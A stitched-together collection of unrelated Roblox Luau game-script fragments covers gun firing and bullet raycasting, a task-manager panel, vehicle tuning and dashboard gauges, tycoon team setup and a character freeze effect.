function CreateBullet(L_141_arg1) local L_142_ = L_37_.Position local L_143_ = (L_4_.Hit.p - L_142_).unit local L_144_ = CFrame.Angles(math.rad(math.random(-L_141_arg1, L_141_arg1)), math.rad(math.random(-L_141_arg1, L_141_arg1)), math.rad(math.random(-L_141_arg1, L_141_arg1))) L_143_ = L_144_ * L_143_ local L_145_ = CFrame.new(L_142_, L_142_ + L_143_) local L_146_ = Instance.new("Part", L_66_) game.Debris:AddItem(L_146_, 10) L_146_.Shape = Enum.PartType.Ball L_146_.Size = Vector3.new(1, 1, 12) L_146_.Name = "Bullet" L_146_.TopSurface = "Smooth" L_146_.BottomSurface = "Smooth" L_146_.BrickColor = BrickColor.new("Bright green") L_146_.Material = "Neon" L_146_.CanCollide = false --Bullet.CFrame = FirePart.CFrame + (Grip.CFrame.p - Grip.CFrame.p) L_146_.CFrame = L_145_ local L_147_ = Instance.new("Sound") L_147_.SoundId = "rbxassetid://341519743" L_147_.Looped = true L_147_:Play() L_147_.Parent = L_146_ L_147_.Volume = 0.4 L_147_.MaxDistance = 30 local L_148_ = Instance.new("SpecialMesh", L_146_) L_148_.MeshType = "Sphere" L_148_.Scale = Vector3.new(0.2, 0.2, 0.8) L_146_.Transparency = 1 local L_149_ = L_146_:GetMass() local L_150_ = Instance.new('BodyForce', L_146_) L_150_.Force = L_21_.BulletPhysics L_146_.Velocity = L_143_ * L_21_.BulletSpeed local L_151_ = Instance.new('Attachment', L_146_) L_151_.Position = Vector3.new(0.1, 0, 0) local L_152_ = Instance.new('Attachment', L_146_) L_152_.Position = Vector3.new(-0.1, 0, 0) local L_153_ = TracerCalculation() if L_21_.TracerEnabled == true and L_153_ then local L_154_ = Instance.new('Trail', L_146_) L_154_.Attachment0 = L_151_ L_154_.Attachment1 = L_152_ L_154_.Transparency = NumberSequence.new(L_21_.TracerTransparency) L_154_.LightEmission = L_21_.TracerLightEmission L_154_.TextureLength = L_21_.TracerTextureLength L_154_.Lifetime = L_21_.TracerLifetime L_154_.FaceCamera = L_21_.TracerFaceCamera L_154_.Color = ColorSequence.new(L_21_.TracerColor.Color) end if L_1_:FindFirstChild('Shell') then CreateShell() end delay(0.2, function() L_146_.Transparency = 0 end) return L_146_ end function CheckForHumanoid(L_155_arg1) local L_156_ local L_157_ if (L_155_arg1.Parent:FindFirstChild("Humanoid") or L_155_arg1.Parent.Parent:FindFirstChild("Humanoid")) then L_156_ = true if L_155_arg1.Parent:FindFirstChild('Humanoid') then L_157_ = L_155_arg1.Parent.Humanoid elseif L_155_arg1.Parent.Parent:FindFirstChild('Humanoid') then L_157_ = L_155_arg1.Parent.Parent.Humanoid end else L_156_ = false end return L_156_, L_157_ end function CastRay(L_158_arg1) local L_159_, L_160_, L_161_ local L_162_ = L_37_.Position; local L_163_ = L_158_arg1.Position; local L_164_ = 0 while true do L_70_:wait() L_163_ = L_158_arg1.Position; L_164_ = L_164_ + (L_163_ - L_162_).magnitude L_159_, L_160_, L_161_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_162_, (L_163_ - L_162_)), IgnoreList); local L_165_ = Vector3.new(0, 1, 0):Cross(L_161_) local L_166_ = math.asin(L_165_.magnitude) -- division by 1 is redundant if L_164_ > 10000 then break end if L_159_ and (L_159_ and L_159_.Transparency >= 1 or L_159_.CanCollide == false) then table.insert(IgnoreList, L_159_) end if L_159_ then L_165_ = Vector3.new(0, 1, 0):Cross(L_161_) L_166_ = math.asin(L_165_.magnitude) -- division by 1 is redundant local L_167_ = CheckForHumanoid(L_159_) if L_167_ == false then L_158_arg1:Destroy() L_77_:FireServer(L_160_, L_165_, L_166_, L_161_, "Part") elseif L_167_ == true then L_158_arg1:Destroy() L_77_:FireServer(L_160_, L_165_, L_166_, L_161_, "Human") end end if L_159_ and (L_159_.Parent:FindFirstChild("Humanoid") or L_159_.Parent.Parent:FindFirstChild("Humanoid")) then local L_168_, L_169_ = CheckForHumanoid(L_159_) if L_168_ then if L_21_.AntiTK then if game.Players:FindFirstChild(L_169_.Parent.Name) and game.Players:FindFirstChild(L_169_.Parent.Name).TeamColor ~= L_2_.TeamColor then if L_159_.Name == 'Head' then L_74_:FireServer(L_169_, L_21_.HeadDamage) elseif L_159_.Name ~= 'Head' and not (L_159_.Parent:IsA('Accessory') or L_159_.Parent:IsA('Hat')) then L_74_:FireServer(L_169_, L_21_.Damage) elseif (L_159_.Parent:IsA('Accessory') or L_159_.Parent:IsA('Hat')) then L_74_:FireServer(L_169_, L_21_.HeadDamage) end end else if L_159_.Name == 'Head' then L_74_:FireServer(L_169_, L_21_.HeadDamage) elseif L_159_.Name ~= 'Head' and not (L_159_.Parent:IsA('Accessory') or L_159_.Parent:IsA('Hat')) then L_74_:FireServer(L_169_, L_21_.Damage) elseif (L_159_.Parent:IsA('Accessory') or L_159_.Parent:IsA('Hat')) then L_74_:FireServer(L_169_, L_21_.HeadDamage) end end end end if L_159_ and L_159_.Parent:FindFirstChild("Humanoid") then local L_170_ if L_159_ and L_159_.Parent:FindFirstChild("Humanoid") or L_159_.Parent.Parent:FindFirstChild("Humanoid") then if L_159_.Parent:IsA("Accessory") then L_170_ = L_159_.Parent.Parent.Humanoid elseif not L_159_.Parent:IsA("Accessory") then L_170_ = L_159_.Parent.Humanoid end L_75_:FireServer(L_170_) end return L_159_, L_160_; end L_162_ = L_163_; end end function fireSemi() if L_14_ then L_46_ = false Recoiling = true Shooting = true L_73_:FireServer() L_67_ = CreateBullet(0) L_68_ = L_68_ - 1 RecoilFront = true local L_171_, L_172_ = spawn(function() CastRay(L_67_) end) for L_174_forvar1, L_175_forvar2 in pairs(L_37_:GetChildren()) do if L_175_forvar2.Name:sub(1, 7) == "FlashFX" then L_175_forvar2.Enabled = true end end delay(1 / 30, function() for L_176_forvar1, L_177_forvar2 in pairs(L_37_:GetChildren()) do if L_177_forvar2.Name:sub(1, 7) == "FlashFX" then L_177_forvar2.Enabled = false end end end) if L_21_.CanBolt == true then BoltingBackAnim() delay(L_21_.Firerate / 2, function() if L_21_.CanSlideLock == false then BoltingForwardAnim() elseif L_21_.CanSlideLock == true and L_68_ > 0 then BoltingBackAnim() end end) end delay(L_21_.Firerate / 2, function() Recoiling = false RecoilFront = false end) wait(L_21_.Firerate) local L_173_ = JamCalculation() if L_173_ then L_46_ = false else L_46_ = true end Shooting = false end end function fireShot() if L_14_ then L_46_ = false Recoiling = true Shooting = true RecoilFront = true L_73_:FireServer() for L_179_forvar1 = 1, L_21_.ShotNum do L_67_ = CreateBullet(2) local L_180_, L_181_ = spawn(function() CastRay(L_67_) end) end for L_182_forvar1, L_183_forvar2 in pairs(L_37_:GetChildren()) do if L_183_forvar2.Name:sub(1, 7) == "FlashFX" then L_183_forvar2.Enabled = true end end delay(1 / 30, function() for L_184_forvar1, L_185_forvar2 in pairs(L_37_:GetChildren()) do if L_185_forvar2.Name:sub(1, 7) == "FlashFX" then L_185_forvar2.Enabled = false end end end) if L_21_.CanBolt == true then BoltingBackAnim() delay(L_21_.Firerate / 2, function() if L_21_.CanSlideLock == false then BoltingForwardAnim() elseif L_21_.CanSlideLock == true and L_68_ > 0 then BoltingBackAnim() end end) end delay(L_21_.Firerate / 2, function() Recoiling = false RecoilFront = false end) L_68_ = L_68_ - 1 wait(L_21_.Firerate) local L_178_ = JamCalculation() if L_178_ then L_46_ = false else L_46_ = true end Shooting = false end end function fireBoltAction() if L_14_ then L_46_ = false Recoiling = true Shooting = true L_73_:FireServer() L_67_ = CreateBullet(0) L_68_ = L_68_ - 1 RecoilFront = true local L_186_, L_187_ = spawn(function() CastRay(L_67_) end) for L_189_forvar1, L_190_forvar2 in pairs(L_37_:GetChildren()) do if L_190_forvar2.Name:sub(1, 7) == "FlashFX" then L_190_forvar2.Enabled = true end end delay(1 / 30, function() for L_191_forvar1, L_192_forvar2 in pairs(L_37_:GetChildren()) do if L_192_forvar2.Name:sub(1, 7) == "FlashFX" then L_192_forvar2.Enabled = false end end end) if L_21_.CanBolt == true then BoltingBackAnim() delay(L_21_.Firerate / 2, function() if L_21_.CanSlideLock == false then BoltingForwardAnim() elseif L_21_.CanSlideLock == true and L_68_ > 0 then BoltingBackAnim() end end) end delay(L_21_.Firerate / 2, function() Recoiling = false RecoilFront = false end) wait(L_21_.Firerate) BoltBackAnim() BoltForwardAnim() IdleAnim() local L_188_ = JamCalculation() if L_188_ then L_46_ = false else L_46_ = true end Shooting = false end end function fireAuto() while not Shooting and L_68_ > 0 and L_45_ and L_46_ and L_14_ do L_46_ = false Recoiling = true L_73_:FireServer() L_68_ = L_68_ - 1 Shooting = true RecoilFront = true L_67_ = CreateBullet(0) local L_193_, L_194_ = spawn(function() CastRay(L_67_) end) for L_196_forvar1, L_197_forvar2 in pairs(L_37_:GetChildren()) do if L_197_forvar2.Name:sub(1, 7) == "FlashFX" then L_197_forvar2.Enabled = true end end delay(1 / 30, function() for L_198_forvar1, L_199_forvar2 in pairs(L_37_:GetChildren()) do if L_199_forvar2.Name:sub(1, 7) == "FlashFX" then L_199_forvar2.Enabled = false end end end) if L_21_.CanBolt == true then BoltingBackAnim() delay(L_21_.Firerate / 2, function() if L_21_.CanSlideLock == false then BoltingForwardAnim() elseif L_21_.CanSlideLock == true and L_68_ > 0 then BoltingForwardAnim() end end) end delay(L_21_.Firerate / 2, function() Recoiling = false RecoilFront = false end) wait(L_21_.Firerate) local L_195_ = JamCalculation() if L_195_ then L_46_ = false else L_46_ = true end Shooting = false end end function fireBurst() if not Shooting and L_68_ > 0 and L_45_ and L_14_ then for L_200_forvar1 = 1, L_21_.BurstNum do if L_68_ > 0 and L_45_ then L_46_ = false Recoiling = true L_73_:FireServer() L_67_ = CreateBullet(0) local L_201_, L_202_ = spawn(function() CastRay(L_67_) end) for L_204_forvar1, L_205_forvar2 in pairs(L_37_:GetChildren()) do if L_205_forvar2.Name:sub(1, 7) == "FlashFX" then L_205_forvar2.Enabled = true end end delay(1 / 30, function() for L_206_forvar1, L_207_forvar2 in pairs(L_37_:GetChildren()) do if L_207_forvar2.Name:sub(1, 7) == "FlashFX" then L_207_forvar2.Enabled = false end end end) if L_21_.CanBolt == true then BoltingBackAnim() delay(L_21_.Firerate / 2, function() if L_21_.CanSlideLock == false then BoltingForwardAnim() elseif L_21_.CanSlideLock == true and L_68_ > 0 then BoltingForwardAnim() end end) end L_68_ = L_68_ - 1 RecoilFront = true delay(L_21_.Firerate / 2, function() Recoiling = false RecoilFront = false end) wait(L_21_.Firerate) local L_203_ = JamCalculation() if L_203_ then L_46_ = false else L_46_ = true end end Shooting = true end Shooting = false end end function Shoot() if L_14_ and L_46_ then if L_59_ == 1 then fireSemi() elseif L_59_ == 2 then fireAuto() elseif L_59_ == 3 then fireBurst() elseif L_59_ == 4 then fireBoltAction() elseif L_59_ == 5 then fireShot() end end end
--// All global vars will be wiped/replaced except script
local function Expand(ent, point) ent.MouseLeave:Connect(function(x,y) point.Visible = false end) ent.MouseMoved:Connect(function(x,y) point.Label.Text = ent.Desc.Value point.Size = UDim2.new(0, 10000, 0, 10000) local bounds = point.Label.TextBounds.X local rows = math.floor(bounds/500) rows = rows+1 if rows<1 then rows = 1 end local newx = 500 if bounds<500 then newx = bounds end point.Visible = true point.Size = UDim2.new(0, newx+5, 0, (rows*20)+5) point.Position = UDim2.new(0, x, 0, y-40-((rows*20)+5)) end) end return function(data, env) if env then setfenv(1, env) end local gTable = data.gTable local gui = gTable.Object local drag = gui.Drag local Main = gui.Drag.Main local Close = gui.Drag.Close local Hide = gui.Drag.Hide local Search = gui.Drag.Search local cTab = gui.Drag.Main.ClientTab local sTab = gui.Drag.Main.ServerTab local Dragger = gui.Drag.Main.Dragger local cFrame = gui.Drag.Main.Client local sFrame = gui.Drag.Main.Server local Title = gui.Drag.Title local Entry = gui.Entry local Desc = gui.Desc local num = 0 local mouse = service.Players.LocalPlayer:GetMouse() local nx,ny = drag.AbsoluteSize.X,Main.AbsoluteSize.Y local dragging = false local defx,defy = nx,ny local topText = "" local function openClient() sFrame.Visible = false cFrame.Visible = true cTab.BackgroundTransparency = 0 sTab.BackgroundTransparency = 0.5 end local function openServer() sFrame.Visible = true cFrame.Visible = false cTab.BackgroundTransparency = 0.5 sTab.BackgroundTransparency = 0 end local updateLists; updateLists = function() local serverTasks --= client.Remote.Get("TaskCommand","GetTasks") local clientTasks = service.GetTasks() --service.Threads.Tasks --// Unfinished cFrame:ClearAllChildren() local cNum = 0 for index,task in pairs(clientTasks) do local new = Entry:Clone() local frame = new.Frame local status = task:Status() new.Parent = cFrame new.Visible = true new.Desc.Value = task.Name new.Position = UDim2.new(0,0,0,cNum*20) frame.Text.Text = tostring(task.Function) frame.Status.Text = status if status == "suspended" then frame.Resume.Text = "Resume" elseif status == "normal" or status == "running" then frame.Resume.Text = "Suspend" end frame.Resume.MouseButton1Down:Connect(function() if frame.Resume.Text == "Resume" and task:Status() == "Suspended" then task:Resume() else task:Pause() end wait(0.5) updateLists() end) frame.Kill.MouseButton1Down:Connect(function() task:Kill() wait(0.5) updateLists() end) frame.Stop.MouseButton1Down:Connect(function() task:Stop() wait(0.5) updateLists() end) Expand(new,Desc) cNum = cNum+1 end cFrame.CanvasSize = UDim2.new(0, 0, 0, num*20) end sTab.MouseButton1Down:Connect(openServer) cTab.MouseButton1Down:Connect(openClient) Close.MouseButton1Click:Connect(function() drag.Draggable = false drag:TweenPosition(UDim2.new(drag.Position.X.Scale, drag.Position.X.Offset, 1,0), "Out", "Sine", 0.5, true) wait(0.5) gTable:Destroy() end) drag.BackgroundColor3 = Main.BackgroundColor3 Hide.MouseButton1Click:Connect(function() if Main.Visible then Main.Visible = false drag.BackgroundTransparency = Main.BackgroundTransparency Hide.Text = "+" else Main.Visible = true drag.BackgroundTransparency = 1 Hide.Text = "-" end end) mouse.Move:Connect(function(x,y) if dragging then nx=defx+(Dragger.Position.X.Offset+20) ny=defy+(Dragger.Position.Y.Offset+20) if nx<200 then nx=200 end if ny<200 then ny=200 end drag.Size=UDim2.new(0, nx, 0, 30) Main.Size=UDim2.new(1, 0, 0, ny) if nx<220 then if topText=="" then topText=Title.Text end Title.Text="" else if topText~="" then Title.Text=topText topText="" end end end end) Dragger.DragBegin:Connect(function(init) dragging = true end) Dragger.DragStopped:Connect(function(x,y) dragging = false defx = nx defy = ny Dragger.Position = UDim2.new(1,-20,1,-20) end) gTable:Ready() while wait(1) do updateLists() end end
--// Walk and Sway
local L_136_ local L_137_ = 0.6 local L_138_ = 0.05 -- speed local L_139_ = -0.1 -- height local L_140_ = 0 local L_141_ = 0 local L_142_ = 35 --This is the limit of the mouse input for the sway local L_143_ = -9 --This is the magnitude of the sway when you're unaimed local L_144_ = -9 --This is the magnitude of the sway when you're aimed
--[=[ @return boolean Returns the [`GuiService.AutoSelectGuiEnabled`](https://developer.roblox.com/en-us/api-reference/property/GuiService/AutoSelectGuiEnabled) property. ]=]
function Gamepad:IsAutoSelectGuiEnabled(): boolean return GuiService.AutoSelectGuiEnabled end
--[[Weight and CG]]
Tune.Weight = 2450 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
--[[** matches given tuple against tuple type definition @param ... The type definition for the tuples @returns A function that will return true iff the condition is passed **--]]
function t.tuple(...) local checks = { ... } return function(...) local args = { ... } for i, check in ipairs(checks) do local success, errMsg = check(args[i]) if success == false then return false, string.format("Bad tuple index #%s:\n\t%s", i, errMsg or "") end end return true end end
-- DEPRECATED: Use openMerchBooth instead. openCatalogView is kept around for -- backwards compatibility
module.openCatalogView = module.openMerchBooth return module
--run this first so if there is a 'white' team it is switched over
if not Settings['AutoAssignTeams'] then local teamHire = Instance.new('Team', Teams) teamHire.TeamColor = BC.new('White') teamHire.Name = "For Hire" end for i,v in pairs(script.Parent:WaitForChild('Tycoons'):GetChildren()) do Tycoons[v.Name] = v:Clone() -- Store the tycoons then make teams depending on the tycoon names if returnColorTaken(v.TeamColor) then --//Handle duplicate team colors local newColor; repeat wait() newColor = BC.Random() until returnColorTaken(newColor) == false v.TeamColor.Value = newColor end --Now that there are for sure no duplicates, make your teams local NewTeam = Instance.new('Team',Teams) NewTeam.Name = v.Name NewTeam.TeamColor = v.TeamColor.Value if not Settings['AutoAssignTeams'] then NewTeam.AutoAssignable = false end --v.PurchaseHandler.Disabled = false end function getPlrTycoon(player) for i,v in pairs(script.Parent.Tycoons:GetChildren()) do if v:IsA("Model") then if v.Owner.Value == player then return v end end end return nil end game.Players.PlayerAdded:connect(function(player) local leaderStat = player:WaitForChild("leaderstats") local canRebirth = Instance.new("BoolValue") canRebirth.Name = "CanRebirth" canRebirth.Value = false canRebirth.Parent = player if RebirthSettings.Rebirth.enabled == true then if leaderStat ~= nil then local rebirth = Instance.new("NumberValue") rebirth.Name = "Rebirths" rebirth.Parent = leaderStat local rebirthCount = PlayerStatManager:getStat(player,"RebirthCount") if rebirthCount ~= nil then rebirth.Value = rebirthCount else rebirth.Value = 0 end end end end) game.Players.PlayerRemoving:connect(function(player) --print("PlayerStatManager:saveOnExit("..player.Name..")") PlayerStatManager:saveOnExit(player) PlayerStatManager:setPlayerSessionDataToNil(player) local plrStats = game.ServerStorage.PlayerMoney:FindFirstChild(player.Name) if plrStats ~= nil then plrStats:Destroy() end print("AFTER Saving and deleting plrStats") local tycoon = getPlrTycoon(player) if tycoon then local backup = Tycoons[tycoon.Name]:Clone() tycoon:Destroy() wait() backup.Parent=script.Parent.Tycoons end end)
--[[Weight Scaling]]
--[Cubic stud : pounds ratio] --[STANDARDIZED: Don't touch unless needed] Tune.WeightScaling = 1/50 --Default = 1/50 (1 cubic stud = 50 lbs) Tune.LegacyScaling = 1/20 --Default = 1/10 (1 cubic stud = 10 lbs) [PGS OFF] return Tune
-- Service varables
local players=game:GetService("Players") local lp=players.LocalPlayer local char=lp.Character or lp.CharacterAdded:wait() local hum=char:WaitForChild("Humanoid") local UIS=game:GetService("UserInputService")
---------------------------------------------------
Displays = 3 -- Sets how many displays this scripts will use... DisplayColor = Color3.fromRGB(248, 248, 248)
--[=[ Returns `true` if the timer is currently running. ```lua if timer:IsRunning() then -- Do something end ``` ]=]
function Timer:IsRunning(): boolean return self._runHandle ~= nil end
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive) v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20) end end for i=0,revEnd*2 do local ln = script.Parent.ln:clone() ln.Parent = script.Parent.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = script.Parent.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",script.Parent.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = script.Parent.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",script.Parent.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = script.Parent.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 14 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) script.Parent.Parent.Values.RPM.Changed:connect(function() script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000)) intach.Rotation = -30 + script.Parent.Parent.Values.RPM.Value * 240 / 8000 end) script.Parent.Parent.Values.Gear.Changed:connect(function() local gearText = script.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" car.Body.Dash.DashSc.G.Gear.Text = "N" elseif gearText == -1 then gearText = "R" car.Body.Dash.DashSc.G.Gear.Text = "R" else end script.Parent.Gear.Text = gearText car.Body.Dash.DashSc.G.Gear.Text = gearText end) script.Parent.Parent.Values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCS.Value then script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.TCSActive.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = true script.Parent.TCS.TextColor3 = Color3.new(1,0,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.TCS.Visible = false end end) script.Parent.Parent.Values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = false end end) script.Parent.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true end else if script.Parent.TCS.Visible then script.Parent.TCS.Visible = false end end end) script.Parent.Parent.Values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABS.Value then script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.ABSActive.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = true script.Parent.ABS.TextColor3 = Color3.new(1,0,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.ABS.Visible = false end end) script.Parent.Parent.Values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = false end end) script.Parent.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true end else if script.Parent.ABS.Visible then script.Parent.ABS.Visible = false end end end) script.Parent.Parent.Values.PBrake.Changed:connect(function() script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value end) script.Parent.Parent.Values.TransmissionMode.Changed:connect(function() if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then script.Parent.TMode.Text = "A/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then script.Parent.TMode.Text = "S/T" script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else script.Parent.TMode.Text = "M/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end) script.Parent.Parent.Values.Velocity.Changed:connect(function(property) script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units inspd.Rotation = -30 + (222 / 160) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88)))) end) script.Parent.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(script.Parent.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) mouse.KeyDown:connect(function(key) if key=="v" then script.Parent.Visible=not script.Parent.Visible end end)
--freeze the character
DisableMove() IceForm = Instance.new("Sound") IceForm.Name = "IceForm" IceForm.SoundId = "rbxassetid://"..formSounds[math.random(1,#formSounds)] IceForm.Parent = Head IceForm.PlaybackSpeed = 1 IceForm.Volume = 1.5 game.Debris:AddItem(IceForm, 10) delay(0, function() IceForm:Play() end) for i = 1, #charParts do local newIcePart = icePart:Clone() --newIcePart.IceMesh.Scale = newIcePart.IceMesh.Scale * charParts[i].Size newIcePart.Size = Vector3.new(charParts[i].Size.x+.1, charParts[i].Size.y+.1, charParts[i].Size.z+.1) newIcePart.CFrame = charParts[i].CFrame newIcePart.Parent = character local Weld = Instance.new("Weld") Weld.Part0 = charParts[i] Weld.Part1 = newIcePart Weld.C0 = charParts[i].CFrame:inverse() Weld.C1 = newIcePart.CFrame:inverse() Weld.Parent = newIcePart table.insert(iceParts, newIcePart) end for i = 1, #accessoryParts do local newIcePart2 = accessoryParts[i]:Clone() newIcePart2.Name = "IcePart" newIcePart2.formFactor = "Custom" newIcePart2.Color = Color3.fromRGB(128, 187, 219) newIcePart2.CanCollide = false newIcePart2.Anchored = false newIcePart2.Transparency = .5 newIcePart2.BottomSurface = "Smooth" newIcePart2.TopSurface = "Smooth" newIcePart2.Material = Enum.Material.SmoothPlastic local mesh = newIcePart2:FindFirstChildOfClass("SpecialMesh") mesh.TextureId = "" mesh.Scale = Vector3.new(mesh.Scale.x+.1, mesh.Scale.y+.1, mesh.Scale.z+.1) newIcePart2.CFrame = accessoryParts[i].CFrame newIcePart2.Parent = character local Weld2 = Instance.new("Weld") Weld2.Part0 = accessoryParts[i] Weld2.Part1 = newIcePart2 Weld2.C0 = accessoryParts[i].CFrame:inverse() Weld2.C1 = newIcePart2.CFrame:inverse() Weld2.Parent = newIcePart2 table.insert(iceParts2, newIcePart2) end wait(script.Duration.Value)
-- Local variables
local TeamPlayers = {} local TeamScores = {}
--Throttle: -- local speed = 0 -- if seat.ThrottleFloat > 0 then -- speed = maxSpeed*seat.ThrottleFloat --forwards -- elseif seat.ThrottleFloat < 0 then -- speed = seat.ThrottleFloat * 15 --reverse -- end -- setHinges(speed, speed) -- if seat.ThrottleFloat < 0 and seat.Velocity.Magnitude > 20 and script.Parent.Velocity:Dot(script.Parent.CFrame.lookVector) > 0 then -- Brake() -- end
end)
--------------------[ RELOAD FUNCTIONS ]----------------------------------------------
